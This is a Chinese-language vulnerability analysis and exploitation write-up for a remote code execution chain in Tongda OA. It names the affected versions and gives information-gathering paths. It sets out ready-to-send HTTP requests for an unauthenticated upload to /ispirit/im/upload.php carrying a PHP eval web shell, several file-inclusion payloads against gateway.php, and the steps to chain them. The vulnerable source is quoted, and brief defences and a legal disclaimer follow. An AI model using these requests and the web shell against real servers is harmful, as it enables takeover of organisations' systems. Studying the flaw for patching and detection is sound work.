通达OA RCE
字数 831 2025-08-09 23:12:43
通达OA远程代码执行漏洞分析与利用
漏洞概述
通达OA系统存在一个组合漏洞,通过任意文件上传结合文件包含漏洞,攻击者可以实现远程代码执行(RCE)。该漏洞影响多个版本的通达OA系统。
受影响版本
- V11版
- 2017版
- 2016版
- 2015版
- 2013增强版
- 2013版
信息收集
获取版本信息
可以通过以下文件获取系统版本信息:
inc/expired.php
inc/reg_trial.php
inc/reg_trial_submit.php
获取计算机名
通过访问以下文件可以获取计算机名:
resque/worker.php
漏洞原理
文件包含漏洞
不同版本的文件包含路径不同:
-
2013版:
/ispirit/im/upload.php /ispirit/interface/gateway.php -
2017版:
/ispirit/im/upload.php /mac/gateway.php
文件包含漏洞源于inc/common.inc.php中的代码,该文件对所有GET、POST、COOKIE参数进行了过滤处理,同时存在变量覆盖的风险。
文件上传漏洞
上传接口位于:
http://[target]/ispirit/im/upload.php
上传功能的关键参数:
UPLOAD_MODE:必须设置为2P:用于绕过身份验证检查DEST_UID:可以为空,但UPLOAD_MODE必须为2ATTACHMENT:上传的文件内容
漏洞利用
文件包含利用方式
通过向gateway.php发送POST请求,利用JSON参数包含任意文件:
POST /mac/gateway.php HTTP/1.1
Host: [target]
Content-Type: application/x-www-form-urlencoded
json={"url": "../../nginx/logs/oa.access.log"}
其他有效的payload变体:
json={"url": "../../nginx/logs/oa.access.log"}
json{}=&url=../../nginx/logs/oa.access.log
json{}=&url=../general/../../nginx/logs/oa.access.log
文件上传利用方式
POST /ispirit/im/upload.php HTTP/1.1
Host: [target]
Content-Length: 626
Content-Type: multipart/form-data; boundary=---123
---123
Content-Disposition: form-data; name="UPLOAD_MODE"
2
---123
Content-Disposition: form-data; name="P"
123
---123
Content-Disposition: form-data; name="DEST_UID"
1
---123
Content-Disposition: form-data; name="ATTACHMENT"; filename="jpg"
Content-Type: image/jpeg
<?php eval($_POST['pass']); ?>
---123
组合利用步骤
- 通过文件上传漏洞上传包含恶意代码的文件
- 通过文件包含漏洞包含上传的文件
- 实现远程代码执行
技术细节分析
文件包含漏洞分析
gateway.php中的关键代码:
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);
foreach ($json as $key => $val) {
if ($key == "url") {
$url = $val;
}
}
if ($url != "") {
include_once $url;
}
exit();
}
文件上传漏洞分析
上传流程的关键点:
- 绕过
P参数检查 - 设置
UPLOAD_MODE为2 - 上传文件通过
ATTACHMENT参数
上传成功后,文件会被存储在服务器上,通常位于/attach/目录下。
防御措施
- 升级到最新版本的通达OA系统
- 对文件上传功能进行严格限制,包括文件类型检查和内容验证
- 禁用不必要的文件包含功能
- 对用户输入进行严格过滤
- 设置文件上传目录不可执行
参考
- 本文档基于公开漏洞分析文章整理
- 实际测试时请注意法律合规性
- 建议在授权环境下进行漏洞验证